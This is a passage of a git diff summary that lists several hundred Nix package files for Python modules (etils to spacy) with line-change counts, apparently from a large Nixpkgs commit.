 .../python-modules/etils/default.nix          |  27 +-
 .../python-modules/evaluate/default.nix       |   3 +-
 .../python-modules/evohome-async/default.nix  |   3 +-
 .../python-modules/execnet/default.nix        |  21 +-
 .../python-modules/executing/default.nix      |   3 +-
 .../python-modules/falcon/default.nix         |  20 +-
 .../python-modules/fastapi-cli/default.nix    |   9 +-
 .../python-modules/fastapi-sso/default.nix    |   3 +-
 .../python-modules/fastapi/default.nix        |  89 +-
 .../python-modules/fastavro/default.nix       |   3 +-
 .../python-modules/fastjet/default.nix        |   8 +-
 .../python-modules/fastjsonschema/default.nix |  19 +-
 .../python-modules/fenics-dolfinx/default.nix |  19 +-
 .../python-modules/filedepot/default.nix      |   3 +-
 .../python-modules/fiona/default.nix          |   3 +-
 .../python-modules/fipy/default.nix           |   3 +-
 .../firebase-messaging/default.nix            |   3 +-
 .../python-modules/firedrake/default.nix      |  90 +-
 .../python-modules/fixtures/default.nix       |   3 +-
 .../flask-appbuilder/default.nix              |   3 +-
 .../python-modules/flask-caching/default.nix  |  25 +-
 .../python-modules/flask-compress/default.nix |  13 +-
 .../python-modules/flask-dramatiq/default.nix |   3 +-
 .../flask-expects-json/default.nix            |   3 +-
 .../flask-jwt-extended/default.nix            |   3 +-
 .../flask-mongoengine/default.nix             |   6 +-
 .../python-modules/flask-restx/default.nix    |  19 +-
 .../python-modules/flask-security/default.nix |  33 +-
 .../flask-sqlalchemy-lite/default.nix         |  13 +-
 .../python-modules/flask/default.nix          |   3 +-
 .../python-modules/flit-gettext/default.nix   |   3 +-
 .../python-modules/flit-scm/default.nix       |   6 +-
 .../python-modules/flow-record/default.nix    |   3 +-
 .../python-modules/fmpy/default.nix           |  39 +-
 .../python-modules/fnllm/default.nix          |   3 +-
 .../python-modules/fontmake/default.nix       |  21 +-
 .../python-modules/fontparts/default.nix      |  21 +-
 .../python-modules/fontpens/default.nix       |  33 +-
 .../python-modules/fonttools/default.nix      |  37 +-
 .../python-modules/foolscap/default.nix       |   6 +-
 .../python-modules/foxdot/default.nix         |  11 +-
 .../development/python-modules/fs/default.nix |  23 +-
 .../python-modules/fslpy/default.nix          |   3 +-
 .../python-modules/fsspec/default.nix         |  27 +-
 .../python-modules/fugashi/default.nix        |   3 +-
 .../python-modules/funsor/default.nix         |  25 +-
 .../python-modules/gdown/default.nix          |   3 +-
 .../python-modules/geoalchemy2/default.nix    |   3 +-
 .../python-modules/geopandas/default.nix      |   3 +-
 .../python-modules/gevent/default.nix         |   9 +-
 .../python-modules/gfal2-python/default.nix   |   3 +-
 .../python-modules/gftools/default.nix        |  87 +-
 .../python-modules/gidgethub/default.nix      |   3 +-
 .../python-modules/git-revise/default.nix     |  15 +-
 .../python-modules/github3-py/default.nix     |   3 +-
 .../python-modules/githubkit/default.nix      |   3 +-
 .../python-modules/gitpython/default.nix      |   3 +-
 .../python-modules/globus-sdk/default.nix     |   3 +-
 .../python-modules/glom/default.nix           |   3 +-
 .../python-modules/gluonts/default.nix        |  20 +-
 .../google-auth-oauthlib/default.nix          |  20 +-
 .../python-modules/google-auth/default.nix    |   3 +-
 .../default.nix                               |   3 +-
 .../default.nix                               |   3 +-
 .../default.nix                               |   3 +-
 .../google-cloud-asset/default.nix            |   3 +-
 .../google-cloud-automl/default.nix           |   3 +-
 .../default.nix                               |   3 +-
 .../google-cloud-bigquery-logging/default.nix |   3 +-
 .../google-cloud-bigquery-storage/default.nix |   3 +-
 .../google-cloud-bigquery/default.nix         |  28 +-
 .../google-cloud-bigtable/default.nix         |   3 +-
 .../google-cloud-compute/default.nix          |   3 +-
 .../google-cloud-container/default.nix        |   3 +-
 .../google-cloud-core/default.nix             |   3 +-
 .../google-cloud-datacatalog/default.nix      |   3 +-
 .../google-cloud-dataproc/default.nix         |   3 +-
 .../google-cloud-datastore/default.nix        |   3 +-
 .../google-cloud-dlp/default.nix              |   3 +-
 .../google-cloud-error-reporting/default.nix  |   3 +-
 .../google-cloud-firestore/default.nix        |   3 +-
 .../google-cloud-iam-logging/default.nix      |   3 +-
 .../google-cloud-iam/default.nix              |   3 +-
 .../google-cloud-iot/default.nix              |   3 +-
 .../google-cloud-kms/default.nix              |   3 +-
 .../google-cloud-language/default.nix         |   3 +-
 .../google-cloud-logging/default.nix          |   3 +-
 .../google-cloud-monitoring/default.nix       |   6 +-
 .../google-cloud-netapp/default.nix           |   3 +-
 .../default.nix                               |   3 +-
 .../google-cloud-org-policy/default.nix       |   3 +-
 .../google-cloud-os-config/default.nix        |   3 +-
 .../google-cloud-pubsub/default.nix           |   3 +-
 .../google-cloud-redis/default.nix            |   3 +-
 .../google-cloud-resource-manager/default.nix |   3 +-
 .../google-cloud-secret-manager/default.nix   |   3 +-
 .../google-cloud-securitycenter/default.nix   |   3 +-
 .../google-cloud-shell/default.nix            |   3 +-
 .../google-cloud-spanner/default.nix          |   3 +-
 .../google-cloud-speech/default.nix           |   3 +-
 .../google-cloud-tasks/default.nix            |   3 +-
 .../google-cloud-texttospeech/default.nix     |   3 +-
 .../google-cloud-trace/default.nix            |   3 +-
 .../google-cloud-translate/default.nix        |   3 +-
 .../default.nix                               |   3 +-
 .../google-cloud-vision/default.nix           |   3 +-
 .../google-cloud-vpc-access/default.nix       |   3 +-
 .../google-cloud-webrisk/default.nix          |   3 +-
 .../default.nix                               |   3 +-
 .../google-cloud-workflows/default.nix        |   3 +-
 .../google-cloud-workstations/default.nix     |   3 +-
 .../google-geo-type/default.nix               |   3 +-
 .../google-maps-routing/default.nix           |   3 +-
 .../google-resumable-media/default.nix        |   3 +-
 .../gotenberg-client/default.nix              |  11 +-
 .../python-modules/gpuctypes/default.nix      |  29 +-
 .../python-modules/gql/default.nix            |   3 +-
 .../python-modules/gradio/default.nix         | 265 +++---
 .../python-modules/graph-tool/default.nix     |   3 +-
 .../graphene-django/default.nix               |  23 +-
 .../python-modules/graphite-web/default.nix   |  25 +-
 .../great-expectations/default.nix            |  35 +-
 .../python-modules/grpcio/default.nix         |  19 +-
 .../python-modules/gruut/default.nix          |  39 +-
 .../python-modules/gudhi/default.nix          |   3 +-
 .../python-modules/guessit/default.nix        |   3 +-
 .../python-modules/guidance/default.nix       |   3 +-
 .../python-modules/gunicorn/default.nix       |   3 +-
 .../python-modules/gvm-tools/default.nix      |   3 +-
 .../python-modules/gym/default.nix            |  74 +-
 .../python-modules/gymnasium/default.nix      |   3 +-
 .../development/python-modules/h3/default.nix |  25 +-
 .../python-modules/h5py/default.nix           |  15 +-
 .../python-modules/hap-python/default.nix     |   3 +-
 .../hatch-fancy-pypi-readme/default.nix       |   9 +-
 .../hatch-jupyter-builder/default.nix         |   3 +-
 .../python-modules/hatch-odoo/default.nix     |  15 +-
 .../python-modules/hatch-vcs/default.nix      |  23 +-
 .../python-modules/hatchling/default.nix      |   3 +-
 .../python-modules/hf-transfer/default.nix    |  13 +-
 .../python-modules/hishel/default.nix         |   3 +-
 .../home-assistant-chip-core/default.nix      |   3 +-
 .../python-modules/htmldate/default.nix       |  26 +-
 .../python-modules/htseq/default.nix          |   3 +-
 .../python-modules/httpcore/default.nix       |   3 +-
 .../python-modules/httpie/default.nix         |  34 +-
 .../python-modules/httplib2/default.nix       |  31 +-
 .../python-modules/httpx-socks/default.nix    |   3 +-
 .../python-modules/httpx/default.nix          |   3 +-
 .../huggingface-hub/default.nix               |   3 +-
 .../python-modules/hupper/default.nix         |   3 +-
 .../python-modules/hydra-core/default.nix     |  23 +-
 .../python-modules/hypercorn/default.nix      |   3 +-
 .../python-modules/hypothesis/default.nix     |  55 +-
 .../python-modules/i-pi/default.nix           |   3 +-
 .../python-modules/ibis-framework/default.nix |   3 +-
 .../python-modules/igraph/default.nix         |   3 +-
 .../python-modules/imageio/default.nix        |  15 +-
 .../importlib-metadata/default.nix            |   3 +-
 .../python-modules/inform/default.nix         |  13 +-
 .../python-modules/inkex/default.nix          |  19 +-
 .../inline-snapshot/default.nix               |  25 +-
 .../python-modules/intake/default.nix         |  60 +-
 .../internetarchive/default.nix               |   3 +-
 .../invisible-watermark/default.nix           |  23 +-
 .../python-modules/iocsearcher/default.nix    |   3 +-
 .../python-modules/ipdb/default.nix           |  34 +-
 .../python-modules/ipykernel/default.nix      |   3 +-
 .../python-modules/ipykernel/tests.nix        |  61 +-
 .../python-modules/ipyparallel/default.nix    |   3 +-
 .../python-modules/ipython/default.nix        |  30 +-
 .../python-modules/irc/default.nix            |   3 +-
 .../python-modules/jaraco-net/default.nix     |   6 +-
 .../python-modules/jaraco-text/default.nix    |   3 +-
 .../python-modules/jax/default.nix            |  89 +-
 .../python-modules/jax/test-cuda.nix          |   3 +-
 .../python-modules/jaxlib/default.nix         |  37 +-
 .../python-modules/jedi/default.nix           |  25 +-
 .../python-modules/jeepney/default.nix        |  23 +-
 .../python-modules/joblib/default.nix         |  29 +-
 .../johnnycanencrypt/default.nix              |  28 +-
 .../jsonschema-specifications/default.nix     |   3 +-
 .../python-modules/jsonschema/default.nix     |  21 +-
 .../python-modules/jupysql/default.nix        |  50 +-
 .../python-modules/jupyter-client/default.nix |   3 +-
 .../python-modules/jupyter-events/default.nix |   6 +-
 .../jupyter-server-terminals/default.nix      |   3 +-
 .../python-modules/jupyter-server/default.nix |  43 +-
 .../python-modules/jupyterhub/default.nix     |  43 +-
 .../jupyterlab-server/default.nix             |   6 +-
 .../python-modules/jupyterlab/default.nix     |  35 +-
 .../python-modules/jupytext/default.nix       |   3 +-
 .../kafka-python-ng/default.nix               |   3 +-
 .../python-modules/kaleido/default.nix        |  59 +-
 .../python-modules/keras/default.nix          |   3 +-
 .../python-modules/keyring/default.nix        |  30 +-
 .../python-modules/keystoneauth1/default.nix  |  24 +-
 .../python-modules/kivy/default.nix           |  60 +-
 .../python-modules/klaus/default.nix          |   3 +-
 .../python-modules/kombu/default.nix          |   6 +-
 .../python-modules/kserve/default.nix         |  62 +-
 .../python-modules/kubernetes/default.nix     |   3 +-
 .../python-modules/labelbox/default.nix       |   3 +-
 .../python-modules/lacuscore/default.nix      |  29 +-
 .../python-modules/lancedb/default.nix        |  17 +-
 .../python-modules/langchain-core/default.nix |  69 +-
 .../python-modules/langchain/default.nix      |   3 +-
 .../python-modules/langsmith/default.nix      |   3 +-
 .../python-modules/lastversion/default.nix    |   3 +-
 .../python-modules/ldaptor/default.nix        |   3 +-
 .../python-modules/ledgerblue/default.nix     |   3 +-
 .../python-modules/libpass/default.nix        |   3 +-
 .../python-modules/librosa/default.nix        |  58 +-
 .../python-modules/libtmux/default.nix        |  31 +-
 .../python-modules/lightgbm/default.nix       |  18 +-
 .../python-modules/limits/default.nix         |   3 +-
 .../python-modules/limnoria/default.nix       |   3 +-
 .../python-modules/line-profiler/default.nix  |   3 +-
 .../python-modules/llguidance/default.nix     |  29 +-
 .../python-modules/llmx/default.nix           |   3 +-
 .../python-modules/lm-eval/default.nix        |   3 +-
 .../python-modules/localstack-ext/default.nix |   3 +-
 .../python-modules/logbook/default.nix        |   3 +-
 .../python-modules/logilab/common.nix         |   3 +-
 .../python-modules/loguru/default.nix         |  30 +-
 .../python-modules/lomond/default.nix         |  19 +-
 .../python-modules/lxml/default.nix           |   3 +-
 .../python-modules/m2crypto/default.nix       |  19 +-
 .../python-modules/macholib/default.nix       |  13 +-
 .../python-modules/maestral/default.nix       |  64 +-
 .../magic-wormhole-mailbox-server/default.nix |  17 +-
 .../python-modules/magic-wormhole/default.nix |  52 +-
 .../python-modules/mako/default.nix           |   3 +-
 .../python-modules/mamba-ssm/default.nix      |   3 +-
 .../python-modules/manifest-ml/default.nix    |   3 +-
 .../python-modules/manim-slides/default.nix   |  53 +-
 .../python-modules/marimo/default.nix         |   3 +-
 .../python-modules/markdown-it-py/default.nix |   3 +-
 .../python-modules/marko/default.nix          |  11 +-
 .../python-modules/markups/default.nix        |   3 +-
 .../marshmallow-dataclass/default.nix         |   3 +-
 .../python-modules/mashumaro/default.nix      |   3 +-
 .../python-modules/mastodon-py/default.nix    |   3 +-
 .../python-modules/mat2/default.nix           |  66 +-
 .../python-modules/materialx/default.nix      |  25 +-
 .../python-modules/matplotlib/default.nix     |  85 +-
 .../python-modules/matrix-nio/default.nix     |  82 +-
 .../python-modules/mautrix/default.nix        |   3 +-
 .../python-modules/mayim/default.nix          |  21 +-
 .../python-modules/mcp/default.nix            |   3 +-
 .../python-modules/mdformat/default.nix       |   9 +-
 .../python-modules/meep/default.nix           |  27 +-
 .../python-modules/meilisearch/default.nix    |   3 +-
 .../python-modules/meross-iot/default.nix     |   3 +-
 .../python-modules/meshtastic/default.nix     |   3 +-
 .../python-modules/meson-python/default.nix   |   6 +-
 .../python-modules/mezzanine/default.nix      |   3 +-
 .../microsoft-kiota-http/default.nix          |   3 +-
 .../python-modules/mike/default.nix           |  17 +-
 .../python-modules/minari/default.nix         |   3 +-
 .../python-modules/mip/default.nix            |   3 +-
 .../python-modules/mir-eval/default.nix       |   3 +-
 .../python-modules/mirakuru/default.nix       |  15 +-
 .../mitmproxy-linux/default.nix               |  17 +-
 .../python-modules/mkdocs/default.nix         |   9 +-
 .../python-modules/mkdocstrings/default.nix   |  23 +-
 .../python-modules/mlcroissant/default.nix    |   3 +-
 .../python-modules/mmcv/default.nix           |  77 +-
 .../python-modules/mne/default.nix            |   3 +-
 .../python-modules/mocket/default.nix         |  30 +-
 .../python-modules/molecule/default.nix       |   3 +-
 .../python-modules/monty/default.nix          |  24 +-
 .../python-modules/moto/default.nix           |   3 +-
 .../python-modules/moviepy/default.nix        |  40 +-
 .../python-modules/mrjob/default.nix          |   3 +-
 .../msal-extensions/default.nix               |  27 +-
 .../python-modules/msal/default.nix           |   3 +-
 .../python-modules/msrest/default.nix         |  35 +-
 .../python-modules/mtcnn/default.nix          |  15 +-
 .../python-modules/mujoco-mjx/default.nix     |   3 +-
 .../python-modules/mypermobil/default.nix     |  17 +-
 .../python-modules/mypy/default.nix           |  80 +-
 .../python-modules/myst-parser/default.nix    |   3 +-
 .../python-modules/nanobind/default.nix       |  23 +-
 .../python-modules/napari/default.nix         |   3 +-
 .../python-modules/narwhals/default.nix       |   6 +-
 .../python-modules/nats-py/default.nix        |  37 +-
 .../python-modules/nbconvert/default.nix      |  35 +-
 .../python-modules/nbdime/default.nix         |  31 +-
 .../python-modules/ndeflib/default.nix        |   3 +-
 .../python-modules/ndindex/default.nix        |   3 +-
 .../python-modules/ndtypes/default.nix        |  15 +-
 .../python-modules/nebula3-python/default.nix |   3 +-
 .../python-modules/nengo/default.nix          |  11 +-
 .../python-modules/netcdf4/default.nix        |   3 +-
 .../python-modules/nextcord/default.nix       |  23 +-
 .../python-modules/niaarm/default.nix         |  24 +-
 .../python-modules/nibabel/default.nix        |  16 +-
 .../python-modules/nibe/default.nix           |   3 +-
 .../python-modules/nicegui/default.nix        |   3 +-
 .../python-modules/nidaqmx/default.nix        |  25 +-
 .../python-modules/nose2/default.nix          |   3 +-
 .../python-modules/notebook/default.nix       |  15 +-
 .../python-modules/notobuilder/default.nix    |   3 +-
 .../python-modules/notus-scanner/default.nix  |   3 +-
 .../python-modules/nox/default.nix            |  19 +-
 .../python-modules/nsz/default.nix            |   3 +-
 .../python-modules/numcodecs/default.nix      |   3 +-
 pkgs/development/python-modules/numpy/1.nix   |  97 +-
 pkgs/development/python-modules/numpy/2.nix   |  76 +-
 .../python-modules/numpyro/default.nix        |  39 +-
 .../python-modules/nvchecker/default.nix      |   3 +-
 .../python-modules/oauthenticator/default.nix |   3 +-
 .../python-modules/oauthlib/default.nix       |  18 +-
 .../python-modules/odc-geo/default.nix        |   3 +-
 .../python-modules/odc-loader/default.nix     |   3 +-
 .../python-modules/odc-stac/default.nix       |   3 +-
 .../python-modules/okonomiyaki/default.nix    |  20 +-
 .../python-modules/ome-zarr/default.nix       |   3 +-
 .../python-modules/omegaconf/default.nix      |  21 +-
 .../python-modules/onnxruntime/default.nix    |  43 +-
 .../onvif-zeep-async/default.nix              |   3 +-
 .../open-clip-torch/default.nix               |  33 +-
 .../python-modules/openai-whisper/default.nix |  26 +-
 .../python-modules/openai/default.nix         |  44 +-
 .../python-modules/openapi-core/default.nix   |   3 +-
 .../openapi-spec-validator/default.nix        |   3 +-
 .../python-modules/opencamlib/default.nix     |   3 +-
 .../python-modules/openfga-sdk/default.nix    |   3 +-
 .../python-modules/openpyxl/default.nix       |  45 +-
 .../python-modules/opensearch-py/default.nix  |  30 +-
 .../python-modules/opensfm/default.nix        |  17 +-
 .../python-modules/openstacksdk/tests.nix     |  73 +-
 .../default.nix                               |   3 +-
 .../python-modules/openusd/default.nix        | 112 ++-
 .../python-modules/optax/default.nix          |   3 +-
 .../python-modules/optimum/default.nix        |   3 +-
 .../python-modules/optuna/default.nix         |  88 +-
 .../orange-widget-base/default.nix            |   3 +-
 .../python-modules/orjson/default.nix         |  13 +-
 .../python-modules/ormar/default.nix          |  26 +-
 .../python-modules/oslo-log/default.nix       |   3 +-
 .../python-modules/osqp/default.nix           |  25 +-
 .../python-modules/paddlepaddle/default.nix   |  13 +-
 .../python-modules/pandas-stubs/default.nix   |  39 +-
 .../python-modules/pandas/default.nix         |  90 +-
 .../python-modules/pandera/default.nix        |   3 +-
 .../python-modules/papermill/default.nix      |  43 +-
 .../python-modules/paramiko/default.nix       |   3 +-
 .../python-modules/parver/default.nix         |   3 +-
 .../python-modules/pathlib2/default.nix       |  13 +-
 .../python-modules/patool/default.nix         |   3 +-
 .../python-modules/pcre2-py/default.nix       |  29 +-
 .../python-modules/peewee/default.nix         |  11 +-
 .../python-modules/pegen/default.nix          |  17 +-
 .../python-modules/pem/default.nix            |   3 +-
 .../python-modules/pendulum/default.nix       |  30 +-
 .../python-modules/pep517/default.nix         |  13 +-
 .../python-modules/persistent/default.nix     |   3 +-
 .../python-modules/pettingzoo/default.nix     |  17 +-
 .../python-modules/pg8000/default.nix         |   3 +-
 .../python-modules/pgcli/default.nix          |   3 +-
 .../python-modules/pillow-heif/default.nix    |  43 +-
 .../python-modules/pillow/default.nix         |  24 +-
 .../python-modules/pins/default.nix           |   3 +-
 .../python-modules/pip-tools/default.nix      |   3 +-
 .../python-modules/pipdate/default.nix        |   3 +-
 .../python-modules/pipdeptree/default.nix     |   3 +-
 .../python-modules/pipx/default.nix           |   3 +-
 .../planetary-computer/default.nix            |   3 +-
 .../python-modules/playwright/default.nix     |  18 +-
 .../python-modules/plotly/default.nix         |  21 +-
 .../python-modules/plumbum/default.nix        |   3 +-
 .../python-modules/pluthon/default.nix        |   3 +-
 .../python-modules/podman/default.nix         |   3 +-
 .../python-modules/pontos/default.nix         |   3 +-
 .../python-modules/powerapi/default.nix       |   3 +-
 .../python-modules/powerline/default.nix      |   3 +-
 .../python-modules/prance/default.nix         |   3 +-
 .../python-modules/prisma/default.nix         |   3 +-
 .../python-modules/private-gpt/default.nix    |   3 +-
 .../python-modules/prophet/default.nix        |   3 +-
 .../development/python-modules/protobuf/4.nix |   3 +-
 .../python-modules/psycopg/default.nix        |  70 +-
 .../python-modules/pushbullet-py/default.nix  |  21 +-
 .../python-modules/py-evm/default.nix         |   3 +-
 .../pyTelegramBotAPI/default.nix              |  13 +-
 .../python-modules/pyannotate/default.nix     |  17 +-
 .../python-modules/pyarrow/default.nix        | 129 ++-
 .../python-modules/pybase64/default.nix       |   3 +-
 .../python-modules/pybids/default.nix         |   3 +-
 .../pybind11-protobuf/default.nix             |  25 +-
 .../python-modules/pybind11/default.nix       |   3 +-
 .../python-modules/pyclip/default.nix         |  13 +-
 .../python-modules/pycognito/default.nix      |   6 +-
 .../python-modules/pycookiecheat/default.nix  |   3 +-
 .../python-modules/pycurl/default.nix         |  49 +-
 .../python-modules/pycyphal/default.nix       |   3 +-
 .../development/python-modules/pydantic/1.nix |   3 +-
 .../python-modules/pydantic/default.nix       |  25 +-
 .../python-modules/pydeck/default.nix         |   3 +-
 .../python-modules/pydevd/default.nix         |  53 +-
 .../python-modules/pydicom/default.nix        |  40 +-
 .../python-modules/pydruid/default.nix        |   3 +-
 .../python-modules/pyecharts/default.nix      |   3 +-
 .../python-modules/pyfakefs/default.nix       |  15 +-
 .../python-modules/pyfnip/default.nix         |   3 +-
 .../python-modules/pyftgl/default.nix         |  15 +-
 .../python-modules/pygal/default.nix          |   3 +-
 .../python-modules/pygame-ce/default.nix      |  56 +-
 .../python-modules/pygame-gui/default.nix     |  35 +-
 .../python-modules/pygatt/default.nix         |   3 +-
 .../python-modules/pygit2/default.nix         |   3 +-
 .../python-modules/pygithub/default.nix       |   3 +-
 .../python-modules/pygobject/3.nix            |   3 +-
 .../python-modules/pyhanko/default.nix        |  89 +-
 .../python-modules/pyheos/default.nix         |  17 +-
 .../python-modules/pyiceberg/default.nix      | 100 +-
 .../python-modules/pyinfra/default.nix        |  29 +-
 .../python-modules/pyipp/default.nix          |   3 +-
 .../python-modules/pykakasi/default.nix       |   3 +-
 .../python-modules/pykaleidescape/default.nix |  19 +-
 .../python-modules/pylance/default.nix        |  22 +-
 .../python-modules/pylint/default.nix         |  64 +-
 .../python-modules/pylsp-mypy/default.nix     |   3 +-
 .../pylutron-caseta/default.nix               |   6 +-
 .../pym3u8downloader/default.nix              |  40 +-
 .../python-modules/pymatgen/default.nix       |  64 +-
 .../python-modules/pymatting/default.nix      |  21 +-
 .../python-modules/pymodbus/default.nix       |  22 +-
 .../python-modules/pymoo/default.nix          |  31 +-
 .../python-modules/pympler/default.nix        |  47 +-
 .../python-modules/pynamodb/default.nix       |   3 +-
 .../python-modules/pynetdicom/default.nix     |  19 +-
 .../python-modules/pynput/default.nix         |  13 +-
 .../python-modules/pynvim/default.nix         |   9 +-
 .../python-modules/pynws/default.nix          |   3 +-
 .../python-modules/pyocd/default.nix          |   3 +-
 .../python-modules/pyogrio/default.nix        |   3 +-
 .../python-modules/pyopencl/default.nix       |   3 +-
 .../python-modules/pyopengl/default.nix       |  15 +-
 .../python-modules/pyopenssl/default.nix      |  75 +-
 .../python-modules/pyoverkiz/default.nix      |   3 +-
 .../python-modules/pyparted/default.nix       |  23 +-
 .../python-modules/pypdf/default.nix          |   3 +-
 .../python-modules/pypiserver/default.nix     |   6 +-
 .../pyproject-parser/default.nix              |   3 +-
 pkgs/development/python-modules/pyqt/5.x.nix  |  78 +-
 pkgs/development/python-modules/pyqt/6.x.nix  |  25 +-
 .../python-modules/pyqt5-stubs/default.nix    |  43 +-
 .../python-modules/pyqtwebengine/default.nix  |  62 +-
 .../python-modules/pyrail/default.nix         |   3 +-
 .../python-modules/pyrate-limiter/default.nix |   3 +-
 .../python-modules/pyro5/default.nix          |   3 +-
 .../python-modules/pyscard/default.nix        |  21 +-
 .../python-modules/pyscreenshot/default.nix   |  19 +-
 .../python-modules/pysequoia/default.nix      |  19 +-
 .../python-modules/pyshark/default.nix        |  21 +-
 .../python-modules/pyside6/default.nix        |  28 +-
 .../python-modules/pysvn/default.nix          |   3 +-
 .../python-modules/pytablewriter/default.nix  |   3 +-
 .../python-modules/pytask/default.nix         |   3 +-
 .../python-modules/pytest-aio/default.nix     |   3 +-
 .../python-modules/pytest-ansible/default.nix |  54 +-
 .../pytest-benchmark/default.nix              |   3 +-
 .../python-modules/pytest-jupyter/default.nix |   3 +-
 .../pytest-notebook/default.nix               |  29 +-
 .../pytest-recording/default.nix              |  13 +-
 .../pytest-regressions/default.nix            |   3 +-
 .../pytest-scim2-server/default.nix           |   3 +-
 .../python-modules/pytest-shutil/default.nix  |  13 +-
 pkgs/development/python-modules/pytest/7.nix  |  19 +-
 .../python-modules/pytest/default.nix         |  19 +-
 .../python-benedict/default.nix               |   3 +-
 .../python-modules/python-can/default.nix     |  30 +-
 .../python-engineio/default.nix               |   3 +-
 .../python-modules/python-escpos/default.nix  |   3 +-
 .../python-modules/python-gvm/default.nix     |   3 +-
 .../python-modules/python-jose/default.nix    |   3 +-
 .../python-lsp-black/default.nix              |   3 +-
 .../python-lsp-ruff/default.nix               |   3 +-
 .../python-lsp-server/default.nix             |   3 +-
 .../python-modules/python-mapnik/default.nix  |  52 +-
 .../python-matter-server/default.nix          |   3 +-
 .../python-modules/python-miio/default.nix    |   3 +-
 .../python-openstackclient/default.nix        |  19 +-
 .../python-rabbitair/default.nix              |   3 +-
 .../python-redis-lock/default.nix             |   3 +-
 .../python-roborock/default.nix               |   3 +-
 .../python-socketio/default.nix               |   3 +-
 .../python-telegram-bot/default.nix           |   3 +-
 .../python-modules/python-ulid/default.nix    |   3 +-
 .../python-modules/python-utils/default.nix   |   3 +-
 .../python-modules/pythonfinder/default.nix   |   3 +-
 .../python-modules/pytoolconfig/default.nix   |   6 +-
 .../python-modules/pytools/default.nix        |   3 +-
 .../pytorch-lightning/default.nix             |   3 +-
 .../pytorch-metric-learning/default.nix       |  50 +-
 .../pytorch-pfn-extras/default.nix            |  98 +-
 .../python-modules/pytorch3d/default.nix      |  13 +-
 .../python-modules/pyunbound/default.nix      |  25 +-
 .../python-modules/pyutil/default.nix         |   3 +-
 .../python-modules/pywebcopy/default.nix      |   3 +-
 .../python-modules/pywebview/default.nix      |   3 +-
 .../python-modules/pywinrm/default.nix        |   3 +-
 .../python-modules/pyzmq/default.nix          |   3 +-
 .../python-modules/qdrant-client/default.nix  |   3 +-
 .../qiskit-ibmq-provider/default.nix          |   6 +-
 .../python-modules/qiskit-ignis/default.nix   |  32 +-
 .../python-modules/qiskit-nature/default.nix  |   3 +-
 .../python-modules/qiskit-terra/default.nix   | 159 ++--
 .../python-modules/qiskit/default.nix         |   3 +-
 .../python-modules/qrcode/default.nix         |   3 +-
 .../python-modules/qscintilla-qt5/default.nix |  35 +-
 .../python-modules/quandl/default.nix         |   3 +-
 .../python-modules/quart/default.nix          |  35 +-
 .../python-modules/qutip/default.nix          |   3 +-
 .../python-modules/radian/default.nix         |  21 +-
 .../python-modules/rarfile/default.nix        |  29 +-
 .../python-modules/rasterio/default.nix       |   3 +-
 .../python-modules/ratarmountcore/default.nix |   3 +-
 .../raylib-python-cffi/passthru-tests.nix     |  12 +-
 .../python-modules/rchitect/default.nix       |   3 +-
 .../python-modules/rdflib/default.nix         |  49 +-
 .../python-modules/redis/default.nix          |   3 +-
 .../python-modules/reikna/default.nix         |  15 +-
 .../python-modules/rembg/default.nix          |   3 +-
 .../python-modules/remi/default.nix           |  13 +-
 .../python-modules/renault-api/default.nix    |   3 +-
 .../python-modules/reproject/default.nix      |   3 +-
 .../python-modules/reptor/default.nix         |   3 +-
 .../python-modules/requests-cache/default.nix |  29 +-
 .../requests-kerberos/default.nix             |  15 +-
 .../python-modules/requests/default.nix       |  44 +-
 .../python-modules/resampy/default.nix        |   3 +-
 .../python-modules/responses/default.nix      |   3 +-
 .../python-modules/rich/default.nix           |   3 +-
 .../python-modules/rioxarray/default.nix      |  29 +-
 .../python-modules/rope/default.nix           |  23 +-
 .../python-modules/rpy2/default.nix           |  47 +-
 .../python-modules/rstcheck-core/default.nix  |  17 +-
 .../python-modules/s3transfer/default.nix     |  11 +-
 .../python-modules/safetensors/default.nix    |  19 +-
 .../python-modules/sagemaker-core/default.nix |   3 +-
 .../python-modules/samsungtvws/default.nix    |  15 +-
 .../python-modules/sanic/default.nix          |   3 +-
 .../python-modules/scalene/default.nix        |   6 +-
 .../scancode-toolkit/default.nix              |   3 +-
 .../python-modules/scapy/default.nix          |  60 +-
 .../python-modules/schema-salad/default.nix   |  29 +-
 .../python-modules/schwifty/default.nix       |   6 +-
 .../scikit-build-core/default.nix             |  17 +-
 .../python-modules/scikit-build/default.nix   |   3 +-
 .../scikit-hep-testdata/default.nix           |   3 +-
 .../python-modules/scikit-image/default.nix   |  52 +-
 .../python-modules/scikit-learn/default.nix   |  22 +-
 .../scikit-survival/default.nix               |  22 +-
 .../python-modules/scim2-client/default.nix   |   3 +-
 .../scim2-filter-parser/default.nix           |   3 +-
 .../python-modules/scim2-tester/default.nix   |   3 +-
 .../python-modules/scipy/default.nix          | 114 ++-
 .../python-modules/scrapy/default.nix         |  55 +-
 .../python-modules/screenlogicpy/default.nix  |  33 +-
 .../python-modules/sdkmanager/default.nix     |  13 +-
 .../python-modules/seaborn/default.nix        |  17 +-
 .../python-modules/seabreeze/default.nix      |   3 +-
 .../python-modules/seasonal/default.nix       |   3 +-
 .../securesystemslib/default.nix              |   3 +-
 .../python-modules/selenium/default.nix       |  40 +-
 .../sentence-transformers/default.nix         |   3 +-
 .../python-modules/sentry-sdk/default.nix     |   3 +-
 .../python-modules/servefile/default.nix      |   3 +-
 .../setuptools-generate/default.nix           |   3 +-
 .../setuptools-git-versioning/default.nix     |   3 +-
 .../setuptools-rust/default.nix               |  15 +-
 .../python-modules/setuptools-scm/default.nix |   3 +-
 .../python-modules/sfrbox-api/default.nix     |   3 +-
 .../development/python-modules/sh/default.nix |  37 +-
 .../python-modules/shiboken2/default.nix      |  23 +-
 .../python-modules/shiboken6/default.nix      |  26 +-
 .../python-modules/shiny/default.nix          |   3 +-
 .../python-modules/signedjson/default.nix     |  19 +-
 .../python-modules/simpful/default.nix        |   3 +-
 .../python-modules/sip/default.nix            |   3 +-
 .../python-modules/skein/default.nix          |  24 +-
 .../python-modules/skia-pathops/default.nix   |  64 +-
 .../python-modules/skops/default.nix          |  23 +-
 .../skytemple-files/default.nix               |   6 +-
 .../skytemple-ssb-debugger/default.nix        |   3 +-
 .../python-modules/slack-bolt/default.nix     |   3 +-
 .../python-modules/slowapi/default.nix        |   3 +-
 .../python-modules/smart-open/default.nix     |   3 +-
 .../python-modules/smolagents/default.nix     |  62 +-
 .../python-modules/snitun/default.nix         |  61 +-
 .../python-modules/snorkel/default.nix        |   3 +-
 .../python-modules/snscrape/default.nix       |  17 +-
 .../social-auth-core/default.nix              |   3 +-
 .../python-modules/soxr/default.nix           |  19 +-
 .../python-modules/spacy/models.nix           |  31 +-
